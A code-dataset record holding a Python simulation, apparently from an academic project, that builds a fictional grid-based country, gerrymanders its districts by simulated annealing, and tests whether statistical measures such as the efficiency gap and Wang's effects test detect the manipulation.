"line_number": 294, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 295, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 295, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 296, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 296, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 297, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 297, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 303, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 303, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 304, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 304, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 308, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 308, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 309, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 309, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 321, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 321, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 324, "usage_type": "call"}]} {"seq_id": "134184373", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 14 09:49:39 2017\n@author: Brianna Bartz, Bill Retert, Ngan Tran, McKenzie Lamb\n\"\"\"\n#Gerrymandria has 16 states, each states has 4 districts and each districts consists of 16 census blocks\nfrom shapely.geometry import Polygon\nfrom shapely.geometry import Point\nfrom shapely.ops import cascaded_union\nimport matplotlib.pyplot as plt\nfrom descartes.patch import PolygonPatch\nimport random\n#import collections\nimport statistics\nimport math\nimport copy\nfrom scipy import stats\nimport itertools\nimport pickle\n\n#method = 'clustered_dems' #Population distribution\nmethod = 'random'\n\n#Check adjacency of shape1 and shape2. Touching at a single point\n#does not count as adjacent.\ndef is_adjacent(shape1, shape2):\n return (shape1 is not shape2 and shape1.touches(shape2) \n and not isinstance(shape1.intersection(shape2),Point))\n\n#Census Block class. Holds information about shape and demographics.\nclass CBlock:\n def __init__(self, dems, reps, population, shape, state):\n self.dems = dems \n self.reps = reps \n self.population = population\n self.shape = shape\n self.state = None\n self.district = None\n self.state = state\n \n \n def __str__(self):\n return \"({0}-{1})\".format(self.dems,self.reps)\n \n #Takes a matplotlib plot (plot) and adds a PolygonPatch to it using its shape and demographics.\n def plot_block(self, plot):\n dem_share = self.dems/(self.dems+self.reps)\n if dem_share > .5:\n color = 'blue'\n alph = dem_share\n elif dem_share < .5:\n color = 'red'\n alph = (1-dem_share)\n else:\n color = 'purple'\n alph = 1\n x,y = self.shape.exterior.xy\n plot.plot(x,y,color='none',zorder=1)\n patch = PolygonPatch(self.shape,facecolor=color,edgecolor='none',alpha=alph,zorder=2)\n plot.add_patch(patch)\n \n #Check whether other block is adjacent to self.\n def is_adjacent(self, other_block):\n return is_adjacent(self.shape,other_block.shape)\n\n\n#Holds a collection of census blocks.\nclass District:\n def __init__(self, name, cblocks):\n self.name = name\n self.cblocks = cblocks\n self.shape = cascaded_union([cblock.shape for cblock in cblocks])\n for cblock in cblocks:\n cblock.district = self\n self.index = None\n self.calculate_demographics()\n self.calculate_winner()\n \n #Calculate proportions of Democrats and Republicans.\n def calculate_demographics(self):\n self.dems = sum([cblock.dems for cblock in self.cblocks])\n self.reps = sum([cblock.reps for cblock in self.cblocks])\n self.population = self.dems + self.reps\n\n \n def calculate_winner(self):\n if self.dems > self.reps:\n self.winner = 'D'\n elif self.reps > self.dems:\n self.winner = 'R'\n else:\n self.winner = 'T'\n \n def __str__(self):\n return self.name\n \n #Takes a matplotlib plot and adds all of its census blocks; plots name.\n def plot_district(self,plot):\n for block in self.cblocks:\n block.plot_block(plot)\n x,y=self.shape.exterior.xy\n plot.plot(x,y,linestyle='solid',color='white',lw=2)\n \n #Plot district name at center of mass.\n c = self.shape.centroid.coords[0]\n plot.text(c[0],c[1],self) \n\n#Holds districts. Creates census blocks and then assigns them to districts.\nclass State:\n def __init__(self, name, districts = []):\n self.name = name \n self.districts = districts\n self.make_cblocks()\n self.make_districts()\n self.shape = cascaded_union([district.shape for district in self.districts])\n\n\n# self.adjacent_blocks = []\n index = 0\n for district in self.districts:\n district.index = index\n index += 1\n# self.initialize_adjacency()\n \n\n #For testing only.\n# def initialize_adjacency(self):\n# for district in self.districts:\n# row = []\n# for other_district in self.districts:\n# adj = self.find_adjacent(district,other_district)[0]\n# row.append(adj)\n# self.adjacent_blocks.append(row)\n \n #Create all census blocks in the state and store them in an array.\n def make_cblocks(self, mean_affiliation = 50): \n self.cblocks = []\n for i in range(8):\n row = []\n for j in range(8):\n if method == 'random': #Random distribution.\n dems = 101\n while dems < 0 or dems > 100: \n dems = int(random.gauss(mean_affiliation, 10) + .5)\n if dems == 50:\n dems += random.choice([-1,1])\n reps = 100 - dems\n elif method == 'clustered_dems': #Democrats clustered around a point.\n dems = 100 * math.exp(-((i-3.5)**2+(j-3.5)**2)/13)\n reps = 100 - dems\n shape = Polygon([(i,j), (i+1,j), (i+1,j+1), (i,j+1)]) #Makes each cblock a 1x1 square\n row.append(CBlock(dems, reps, 100, shape, self))\n self.cblocks.append(row)\n \n #Create all districts by calling make_dist repeatedly.\n def make_districts(self):\n self.districts = []\n district_num = 1\n for i in range(0,8,4):\n for j in range(0,8,4):\n self.make_dist (i, i+4, j, j+4, \"{0}-{1}\".format(self.name, district_num)) #establish state districts w/ name and cblocks\n district_num += 1 \n \n #Create a single district. Assign a 4x4 set of census blocks to the district.\n def make_dist(self, min_i, max_i, min_j, max_j, name): \n cblock_set = set()\n for i in range(min_i, max_i):\n for j in range(min_j, max_j):\n cblock_set.add(self.cblocks[i][j]) \n self.districts.append(District(name, cblock_set))\n \n def __str__(self):\n return self.name\n \n def plot_state(self, plot):\n for district in self.districts:\n district.plot_district(plot)\n x,y = self.shape.exterior.xy\n plot.plot(x,y,color='black',lw=3)\n\n #Find all census blocks that can be swapped from district1 to district2;\n #Find all census blocks that can be swapped from district2 to district1;\n #Return both lists.\n def find_adjacent(self, district1, district2):\n adj_from = set()\n adj_to = set()\n if district1 is not district2: #district1=district2 would produce weirdness. \n for block in district1.cblocks:\n for other_block in district2.cblocks:\n if block.is_adjacent(other_block):\n adj_from.add(block)\n adj_to.add(other_block)\n return adj_from, adj_to\n\n #Try to swap a pair of census blocks between district1 and district2.\n #Fails if the swap tried produces discontiguous districts.\n def pairwise_swap(self, district1, district2, contiguous = True):\n if (district1 is district2 or not is_adjacent(district1.shape,district2.shape)):\n return False\n #Choose a random block in district1 which is adjacent to district2 and vice versa\n adj_blocks1, adj_blocks2 = self.find_adjacent(district1, district2)\n if len(adj_blocks1) == 0:\n print(\"No adjacency:\", district1.name, district2.name)\n return False\n adj1 = random.sample(adj_blocks1, 1)[0]\n adj2 = random.sample(adj_blocks2, 1)[0]\n \n #Make new local districts by swapping the blocks.\n new_d1 = district1.cblocks.copy()\n new_d2 = district2.cblocks.copy()\n new_d1.remove(adj1)\n new_d1.add(adj2)\n new_d2.remove(adj2)\n new_d2.add(adj1)\n \n if contiguous == True:\n #If the new districts are not contiguous, bail out\n shape1 = cascaded_union([b.shape for b in new_d1])\n shape2 = cascaded_union([b.shape for b in new_d2])\n if(not (isinstance(shape1,Polygon) and isinstance(shape2,Polygon))):\n return False\n \n #Modify the districts to reflect the swapped blocks.\n district1.cblocks = new_d1\n district2.cblocks = new_d2\n district1.shape = shape1\n district2.shape = shape2\n adj_blocks1,adj_blocks2 = self.find_adjacent(district1,district2)\n# self.adjacent_blocks[district1.index][district2.index] = adj_blocks1\n# self.adjacent_blocks[district2.index][district1.index] = adj_blocks2\n return True\n \n# #Not working yet.\n# def central_gerrymander(self):\n# dist_list = list(self.districts)\n# all_cblocks = []\n# for dist in dist_list:\n# all_cblocks += dist.cblocks\n# for dist in dist_list:\n# dist.cblocks = set()\n# for cblock in all_cblocks:\n# c = cblock.shape.centroid.xy\n# if (c[0][0] > 2 \n# and c[0][0] < 6 \n# and c[1][0] > 2\n# and c[1][0] < 6):\n# dist_list[0].cblocks.add(cblock)\n# elif (c[0][0] > 6):\n# dist_list[1].cblocks.add(cblock)\n# elif (c[0][0] < 2):\n# dist_list[2].cblocks.add(cblock) \n# elif (c[1][0] > 4):\n# dist_list[3].cblocks.add(cblock) \n# else:\n# print(\"error making districts\", (c[0][0], c[1][0]))\n\n def demographic_breakdown(self):\n total_percent_dems = sum([dist.dems for dist in self.districts]) / sum([dist.population for dist in self.districts]) \n total_percent_reps = sum([dist.reps for dist in self.districts]) / sum([dist.population for dist in self.districts]) \n return total_percent_dems, total_percent_reps\n \n \n def EfficiencyGap(self):\n for district in self.districts:\n district.calculate_demographics()\n district.calculate_winner()\n r_waste = 0\n d_waste = 0\n for dist in self.districts:\n if dist.winner == 'D':\n d_waste += dist.dems - 0.5 * dist.population\n r_waste += dist.reps\n elif dist.winner == 'R':\n d_waste += dist.dems \n r_waste += dist.reps - 0.5 * dist.population\n else:\n d_waste += dist.dems \n r_waste += dist.reps\n overall_total_vote = sum([dist.population for dist in self.districts]) \n return (d_waste - r_waste) / overall_total_vote\n \n #Recalculate demographics for each district in state\n def RecalculateDistrictDemographics(self):\n for district in self.districts:\n district.calculate_demographics()\n district.calculate_winner()\n\n \n def DoSwaps(self, number_of_swaps = 3, contiguous = True):\n max_tries = 100\n swap_count = 0\n while swap_count < number_of_swaps:\n ps = False\n try_count = 0\n while ps == False and try_count < max_tries:\n [dist1, dist2] = random.sample(self.districts, 2)\n ps = self.pairwise_swap(dist1, dist2, contiguous)\n try_count += 1\n if try_count == max_tries and ps == False:\n print(\"Failed to swap.\", dist1.name, dist2.name)\n else:\n swap_count += 1\n \n def MaxDemFitness(self):\n for district in self.districts:\n district.calculate_demographics()\n district.calculate_winner()\n return sum([1 for district in self.districts if district.winner == 'D' ])\n \n def MaxRepFitness(self):\n for district in self.districts:\n district.calculate_demographics()\n district.calculate_winner()\n return sum([1 for district in self.districts if district.winner == 'R' ])\n \n #Returns a delta value (see Wang paper, p1307). \n #Compare to t-distribution to get a p-value.\n def MeanMedian(self):\n dem_vote_list = [dist.dems for dist in self.districts]\n mean = sum(dem_vote_list)/len(self.districts)\n median = statistics.median(dem_vote_list)\n return (mean - median)/(stats.sem(dem_vote_list)*0.756) \n \n\n #Stores states and everything in them. Carries out gerrymandering, effects test, t-test. \nclass Country:\n def __init__(self, name, all_districts = [], state_list = []):\n self.name = name\n self.state_list = state_list \n self.make_states()\n \n #Make a list of all districts in all states.\n self.all_districts = []\n for state in state_list:\n for district in state.districts:\n self.all_districts.append(district)\n \n \n def make_states(self):\n state_names = \"ABCDEFGHIJKLMNOP\"\n for name in state_names:\n self.state_list.append(State(name))\n\n \n \n def draw_state_grid(self, width, plot):\n height = len(self.state_list)//width\n i = 0\n j = 0\n import matplotlib.gridspec as gridspec\n gs = gridspec.GridSpec(width, height)\n gs.update(wspace=0,hspace=0)\n #plt.gca().set_aspect('equal','datalim')\n for state in self.state_list:\n ax = plot.subplot(gs[i,j])\n ax.spines['top'].set_color('none')\n ax.spines['bottom'].set_color('none')\n ax.spines['left'].set_color('none')\n ax.spines['right'].set_color('none')\n #ax.set_aspect('equal','datalim')\n ax.tick_params(axis='both',labelcolor='none',color='none')\n \n state.plot_state(ax)\n i = (i+1) % width\n if i == 0:\n j += 1\n #This function will give us the demographic breakdown of Gerrymandria \n def Gerrymandria_demographic(self): \n all_dems = 0\n all_reps = 0\n for state in self.state_list:\n for district in state.districts:\n for cblock in district.cblocks:\n all_dems += cblock.dems\n all_reps += cblock.reps\n total_pop = (all_dems+all_reps)\n percent_dems_Gerrymandria = all_dems / total_pop\n percent_reps_Gerrymandria = all_reps / total_pop\n return percent_dems_Gerrymandria, percent_reps_Gerrymandria \n \n \n def GenerateComps(outside_district_list, total_percent_dems, number_of_districts, number_samples):\n test_list = []\n fail_count = 0\n while len(test_list) < number_samples:\n simulated_set = random.sample(outside_district_list, number_of_districts ) \n if abs(sum([dist.dems for dist in simulated_set])/ sum([dist.population for dist in simulated_set]) \n - total_percent_dems) <= 0.01: #allow for margin of error of 1% for the demographic breakdown of the simualated set\n total_dem_seat = 0\n for dist in simulated_set: #counts how many seats in random set of districts are held by Democrats\n if dist.winner == \"D\":\n total_dem_seat += 1\n test_list.append(total_dem_seat)\n else: \n fail_count += 1 #keeps count of how many random sets of districts did not match state's demographics\n print ('fail_count: ', fail_count)\n return test_list\n \n def GenerateAllComps(self, outside_district_sets, total_percent_dems):\n test_list = [] \n for simulated_set in outside_district_sets:\n if abs(sum([dist.dems for dist in simulated_set])/ sum([dist.population for dist in simulated_set]) \n - total_percent_dems) <= 0.01: #allow for margin of error of 1% for the demographic breakdown of the simualated set\n test_list.append(sum([1 for dist in simulated_set if dist.winner == \"D\"]))\n print(\"Outside District Sets: \", len(outside_district_sets))\n return test_list\n \n def calculate_p_value (self, sample_list, current_dem_seats, mean_test):\n extreme = 0\n if current_dem_seats < mean_test:\n for i in sample_list:\n if i <= current_dem_seats:\n extreme -= 1 #count the outcomes as least as extreme as the current one in order to calculate p_value\n else:\n for i in sample_list:\n if i >= current_dem_seats:\n extreme += 1\n p_value = extreme / len(sample_list)\n print ('extreme count: ', extreme)\n return (p_value) \n\n#-----Print Demographic Info-----\n def PrintDemographics(self): \n for state in self.state_list:\n print (state.name, state.demographic_breakdown()) \n \n def TotalDemSeats(self):\n total_dem_seats = 0\n for state in self.state_list:\n for dist in state.districts:\n if dist.winner == 'D':\n total_dem_seats += 1\n return total_dem_seats\n \n #Not applicable unless each party wins at least 2 seats.\n def TTest(self, state):\n dem_props = [dist.dems/dist.population for dist in state.districts if dist.winner == 'D']\n rep_props = [dist.reps/dist.population for dist in state.districts if dist.winner == 'R']\n return(stats.ttest_ind(dem_props,rep_props, equal_var = True))\n \n def PickleCountry(self, filename):\n import pickle\n fileObject = open(filename,'wb')\n pickle.dump(self, fileObject)\n fileObject.close() \n \n #-----Wang's Test of Effects-----\n def EffectsTest(self, state, number_of_samples=1000):\n state.RecalculateDistrictDemographics()\n outside_district_list = []\n for other_state in self.state_list:\n if other_state != state:\n for dist in other_state.districts: \n outside_district_list.append(dist)\n current_dem_seats = sum([1 for district in state.districts if district.winner == 'D' ])\n# number_of_districts = len([state.districts])\n total_percent_dems = state.demographic_breakdown()[0]\n \n #Generate list of all sets of 4 districts from outside State.\n outside_district_sets = list(itertools.combinations(outside_district_list, 4))\n \n #Find all comparable district sets.\n test_list = self.GenerateAllComps(outside_district_sets, total_percent_dems)\n \n #Calculate stats.\n mean_test = sum([n for n in test_list])/len(test_list) \n sd = statistics.stdev([n for n in test_list])\n p_value = self.calculate_p_value(test_list, current_dem_seats, mean_test)\n \n #Print results (primarily for testing).\n print ('Current democratic seats: ', current_dem_seats)\n print ('Percentage of democrats in the state: ', total_percent_dems)\n print ('Mean: ', mean_test)\n print ('p_value: ', p_value)\n print ('standard deviation: ', sd)\n self.PlotHistogram(test_list)\n return p_value\n \n #Show distribution of # of dem seats in comparable district sets.\n def PlotHistogram(self, test_list):\n n, bins, patches = plt.hist(test_list, 50, normed=1, facecolor='green', alpha=1)\n plt.grid(True)\n plt.show()\n\n #Gerrymander one more than half of the states in the country to favor Republicans;\n #Gerrymander the rest to favor Democrats.\n def GerrymanderMajority(self):\n for i in range(len(self.state_list)):\n print(\"State Name = \", self.state_list[i].name)\n if self.state_list[i].name in \"ABCDEFG\":\n self.state_list[i] = self.SimulatedAnnealingDem(self.state_list[i])\n else:\n self.state_list[i] = self.SimulatedAnnealingRep(self.state_list[i])\n\n #Gerrymander exactly half of the states in the country to favor Republicans;\n def GerrymanderHalf(self):\n for i in range(len(self.state_list)):\n print(\"State Name = \", self.state_list[i].name)\n if self.state_list[i].name not in \"ABCDEFGH\":\n self.state_list[i] = self.SimulatedAnnealingRep(self.state_list[i])\n\n #Gerrymander state to favor of Republicans. \n def SimulatedAnnealingRep(self, state, threshold = 0.9):\n current_state = copy.deepcopy(state)\n fitness = current_state.MaxRepFitness()\n print(\"Initial Fitness = \", fitness)\n max_tries= 100 #Set bailout threshold so we don't go on foreover.\n tries = 0\n while tries < max_tries:\n \n #Generate value to determine whether to jitter.\n p = random.random() * math.exp(-(tries/max_tries)**2)\n fitness = current_state.MaxRepFitness()\n if fitness == 4:\n print(\"Final Fitness = \", fitness)\n return current_state\n# print(\"Fitness = \", fitness)\n new_state = copy.deepcopy(current_state)\n# print(\"Trying . . .\")\n new_state.DoSwaps(3) #Make one or more swaps of census blocks between districts.\n new_fitness = new_state.MaxRepFitness() #Recalculate fitness.\n tries += 1\n \n #Move if fitness improves or if jitter value exceeds threshold.\n if new_fitness > fitness or p > threshold:\n fitness = new_fitness\n current_state = new_state\n print('Ran out of tries . . .')\n print(\"Final Fitness = \", current_state.MaxRepFitness())\n return current_state\n\n #Gerrymander state to favor of Democrats. \n #(Basically the same as SimulatedAnnealingRep: should reorganize.) \n def SimulatedAnnealingDem(self, state, threshold = 0.9, contiguous = True):\n current_state = copy.deepcopy(state)\n fitness = current_state.MaxDemFitness()\n print(\"Initial Fitness = \", fitness)\n max_tries= 100\n tries = 0\n while tries < max_tries:\n p = random.random() * math.exp(-(tries/max_tries)**2)\n fitness = current_state.MaxDemFitness()\n if fitness == 4:\n print(\"Final Fitness = \", fitness)\n return current_state\n# print(\"Fitness = \", fitness)\n new_state = copy.deepcopy(current_state)\n# print(\"Trying . . .\")\n new_state.DoSwaps(3, contiguous)\n new_fitness = new_state.MaxDemFitness()\n tries += 1\n if new_fitness > fitness or p >threshold:\n fitness = new_fitness\n current_state = new_state\n print('Ran out of tries . . .')\n print(\"Final Fitness = \", current_state.MaxDemFitness())\n return current_state\n\n#Pickle a country in which the majority has been gerrymandered in favor of \n#Republicans and the rest have been gerrymandered in favor of Democrats.\ndef RecordMajorityGerrymander():\n outFile = open(\"majority_gerrymander_record.txt\", 'w')\n GMA = Country(\"Gerrymandria\") \n GMA.PrintDemographics()\n GMA.draw_state_grid(4, plt)\n plt.savefig('initial.jpg', dpi=1000)\n \n print(\"Initial Dem Seats = \", GMA.TotalDemSeats(), file=outFile)\n GMA.GerrymanderMajority()\n GMA.draw_state_grid(4, plt)\n plt.savefig('majority_gerrymandered.jpg', dpi=600)\n print(\"Dem Seats After Majority Gerrymander = \", GMA.TotalDemSeats(), file=outFile)\n GMA.PickleCountry(\"Majority_Gerrymandered.pkl\") \n \n#Pickle a country in which the half has been gerrymandered in favor of \n#Republicans.\ndef RecordHalfGerrymander():\n outFile = open(\"1st_half_gerrymander_record.txt\", 'w')\n GMA = Country(\"Gerrymandria\") \n GMA.PrintDemographics()\n GMA.draw_state_grid(4, plt)\n plt.savefig('half_initial.jpg', dpi=1000)\n \n print(\"Initial Dem Seats = \", GMA.TotalDemSeats(), file=outFile)\n GMA.GerrymanderHalf()\n GMA.draw_state_grid(4, plt)\n plt.savefig('half_gerrymandered.jpg', dpi=600)\n print(\"Dem Seats After Half Gerrymander = \", GMA.TotalDemSeats(), file=outFile)\n GMA.PickleCountry(\"Half_Gerrymandered.pkl\") \n\n#def TipBalance():\n# GMA = Country(\"Gerrymandria\") \n# GMA.PrintDemographics()\n# GMA.draw_state_grid(4, plt)\n# plt.savefig('initial.jpg', dpi=600)\n# \n# print(\"Initial Dem Seats = \", GMA.TotalDemSeats(), file=outFile)\n# GMA.state_list[0] = GMA.SimulatedAnnealing(GMA.state_list[i])\n# GMA.draw_state_grid(4, plt)\n# plt.savefig('majority_gerrymandered.jpg', dpi=600)\n# print(\"Dem Seats After Majority Gerrymander = \", GMA.TotalDemSeats(), file=outFile)\n# GMA.PickleCountry(\"Majority_Gerrymandered.pkl\") \n\n\n#From majority gerrymander, progressively gerrymander the rest in the same\n#direction, checking to see whether Wang's effects test is triggered.\ndef ProgressiveGerrymanderFromMajority():\n inFile = open(\"Majority_Gerrymandered.pkl\", 'rb')\n GMA = pickle.load(inFile)\n outFile = open(\"gerrymander_record.txt\", 'w')\n\n\n #Now progressively gerrymander the remaining states.\n for i in range(len(GMA.state_list)):\n if GMA.state_list[i].name in \"ABCDEFG\":\n print(\"Total Dem Seats Before = \", GMA.TotalDemSeats(), file=outFile)\n print(\"State Name = \", GMA.state_list[i].name)\n print(\"State Name = \", GMA.state_list[i].name, file = outFile)\n p_before = GMA.EffectsTest(GMA.state_list[i])\n mm_before = GMA.state_list[i].MeanMedian()\n print(\"p_before = \", p_before, file = outFile)\n print(\"mm_before = \", mm_before, file = outFile)\n\n #Gerrymander in favor of Republicans\n GMA.state_list[i] = GMA.SimulatedAnnealingRep(GMA.state_list[i])\n \n print(\"Total Dem Seats After = \", GMA.TotalDemSeats(), file=outFile)\n p_after = GMA.EffectsTest(GMA.state_list[i])\n mm_after = GMA.state_list[i].MeanMedian()\n print(\"p_after = \", p_after, file = outFile)\n print(\"mm_after = \", mm_after, file = outFile)\n GMA.draw_state_grid(4, plt)\n plt.savefig(str(GMA.state_list[i].name) + '.jpg', dpi=600)\n \n print(\"Final Dem Seats = \", GMA.TotalDemSeats(), file=outFile)\n GMA.draw_state_grid(4, plt)\n outFile.close()\n \n\n#From half gerrymander, progressively gerrymander the rest in the same\n#direction, checking to see whether Wang's effects test is triggered.\ndef ProgressiveGerrymanderFromHalf():\n inFile = open(\"Half_Gerrymandered.pkl\", 'rb')\n GMA = pickle.load(inFile)\n outFile = open(\"half_gerrymander_record.txt\", 'w')\n\n\n #Now progressively gerrymander the remaining states.\n for i in range(len(GMA.state_list)):\n if GMA.state_list[i].name in \"ABCDEFGH\":\n print(\"Total Dem Seats Before = \", GMA.TotalDemSeats(), file=outFile)\n print(\"State Name = \", GMA.state_list[i].name)\n print(\"State Name = \", GMA.state_list[i].name, file = outFile)\n p_before = GMA.EffectsTest(GMA.state_list[i])\n mm_before = GMA.state_list[i].MeanMedian()\n print(\"p_before = \", p_before, file = outFile)\n print(\"mm_before = \", mm_before, file = outFile)\n\n #Gerrymander in favor of Republicans\n GMA.state_list[i] = GMA.SimulatedAnnealingRep(GMA.state_list[i])\n \n print(\"Total Dem Seats After = \", GMA.TotalDemSeats(), file=outFile)\n p_after = GMA.EffectsTest(GMA.state_list[i])\n mm_after = GMA.state_list[i].MeanMedian()\n print(\"p_after = \", p_after, file = outFile)\n print(\"mm_after = \", mm_after, file = outFile)\n GMA.draw_state_grid(4, plt)\n plt.savefig(str(GMA.state_list[i].name) + '_half.jpg', dpi=600)\n \n print(\"Final Dem Seats = \", GMA.TotalDemSeats(), file=outFile)\n GMA.draw_state_grid(4, plt)\n outFile.close()\n \n#Create a country and gerrymander a single state.\ndef DemonstrateGerrymandering(contiguous = False):\n GMA = Country(\"Gerrymandria\") \n GMA.PrintDemographics()\n GMA.state_list[0].plot_state(plt.subplot()) \n plt.savefig('initial.jpg', dpi=600)\n for dist in GMA.state_list[0].districts:\n print(dist.name, dist.dems, dist.reps)\n print(\"Initial Dem Seats = \", GMA.state_list[0].MaxDemFitness())\n\n GMA.state_list[0] = GMA.SimulatedAnnealingDem(GMA.state_list[0], contiguous = True)\n plt.clf()\n GMA.state_list[0].plot_state(plt.subplot()) \n plt.savefig('GerrymanderedStateA.jpg', dpi=600)\n for dist in GMA.state_list[0].districts:\n print(dist.name, dist.dems, dist.reps)\n print(\"Dem Seats After Gerrymander = \", GMA.state_list[0].MaxDemFitness())\n plt.clf()\n GMA.EffectsTest(GMA.state_list[0])\n GMA.state_list[0].plot_state(plt.subplot())\n \n#Illustrate how swapping of census blocks works.\ndef SingleSwap():\n GMA = Country(\"Gerrymandria\") \n GMA.PrintDemographics()\n GMA.state_list[0].plot_state(plt.subplot()) \n plt.savefig('BeforeSwap.jpg', dpi=600)\n for dist in GMA.state_list[0].districts:\n print(dist.name, dist.dems, dist.reps)\n# print(\"Initial Dem Seats = \", GMA.state_list[0].MaxDemFitness())\n\n GMA.state_list[0].DoSwaps(1)\n plt.clf()\n GMA.state_list[0].plot_state(plt.subplot()) \n plt.savefig('AfterSwap.jpg', dpi=600)\n for dist in GMA.state_list[0].districts:\n print(dist.name, dist.dems, dist.reps)\n# print(\"Dem Seats After Gerrymander = \", GMA.state_list[0].MaxDemFitness())\n\n\n\n#RecordMajorityGerrymander() \n#RecordHalfGerrymander() \n#ProgressiveGerrymanderFromHalf()\n#DemonstrateGerrymandering()\n#SingleSwap()\n\nDemonstrateGerrymandering()\n\n#GMA.state_list[0] = GMA.SimulatedAnnealing(GMA.state_list[0], threshold = 0.9)\n#GMA.state_list[0] = GMA.SimulatedAnnealing(GMA.state_list[0], threshold = 0.9)\n#state = GMA.state_list[0]\n#GMA.EffectsTest(state)\n#state.plot_state(plt.subplot())\n#for dist in state.districts:\n# print(dist.name, dist.dems, dist.reps)\n\n\n\n\n\n\n#state.plot_state(plt.subplot())\n#plt.savefig('once_gerrymandered.svg') \n#plt.savefig('state_' + state.name + '_gerrymandered.jpg', dpi=1000)\n#GerrymanderMajority() \n\n#plt.savefig('majority_gerrymander.svg')\n#plt.savefig('majority_gerrymander.jpg', dpi=300)\n#PickleMajorityGerrymander()\n \n \n \n \n \n\n\n", "sub_path": "Simple Block Model/Gerrymandria (single class).py", "file_name": "Gerrymandria (single class).py", "file_ext": "py", "file_size_in_byte": 30608, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "shapely.geometry.Point", "line_number": 29, "usage_type": "argument"}, {"api_name": "descartes.patch.PolygonPatch", "line_number": 60, "usage_type": "call"}, {"api_name": "shapely.ops.cascaded_union", "line_number": 73, "usage_type": "call"}, {"api_name": "shapely.ops.cascaded_union", "line_number": 116, "usage_type": "call"}, {"api_name": "random.gauss", "line_number": 145, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 147, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 150, "usage_type": "call"}, {"api_name": "shapely.geometry.Polygon", "line_number": 152, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 206, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 207, "usage_type": "call"}, {"api_name": "shapely.ops.cascaded_union", "line_number": 219, "usage_type": "call"}, {"api_name": "shapely.ops.cascaded_union", "line_number": 220, "usage_type": "call"}, {"api_name": "shapely.geometry.Polygon", "line_number": 221, "usage_type": "argument"}, {"api_name": "random.sample", "line_number": 297, "usage_type": "call"}, {"api_name": "statistics.median", "line_number": 322, "usage_type": "call"}, {"api_name": "scipy.stats.sem", "line_number": 323, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 323, "usage_type": "name"}, {"api_name": "matplotlib.gridspec.GridSpec", "line_number": 352, "usage_type": "call"}, {"api_name": "matplotlib.gridspec", "line_number": 352, "usage_type": "name"}, {"api_name": "random.sample", "line_number": 387, "usage_type": "call"}, {"api_name": "scipy.stats.ttest_ind", "line_number": 440, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 440, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 445, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 461, "usage_type": "call"}, {"api_name": "statistics.stdev", "line_number": 468, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 482, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 482, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 483, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 483, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 484, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 484, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 505, "usage_type": "call"}, {"api_name": "random.random", "line_number": 513, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 513, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 519, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 536, "usage_type": "call"}, {"api_name": "random.random", "line_number": 542, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 542, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 548, "usage_type": "call"}, {"api_name": "{'gridspec': 'matplotlib.gridspec', 'pickle': 'pickle'}", "line_number": 564, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 566, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 567, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 567, "usage_type": "name"}, {"api_name": "matplotlib.pyplot", "line_number": 571, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 572, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 572, "usage_type": "name"}, {"api_name": "{'gridspec': 'matplotlib.gridspec', 'pickle': 'pickle'}", "line_number": 580, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 582, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 583, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 583, "usage_type": "name"}, {"api_name": "matplotlib.pyplot", "line_number": 587, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 588, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 588, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 610, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 633, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 634, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 634, "usage_type": "name"}, {"api_name": "matplotlib.pyplot", "line_number": 637, "usage_type": "argument"}, {"api_name": "pickle.load", "line_number": 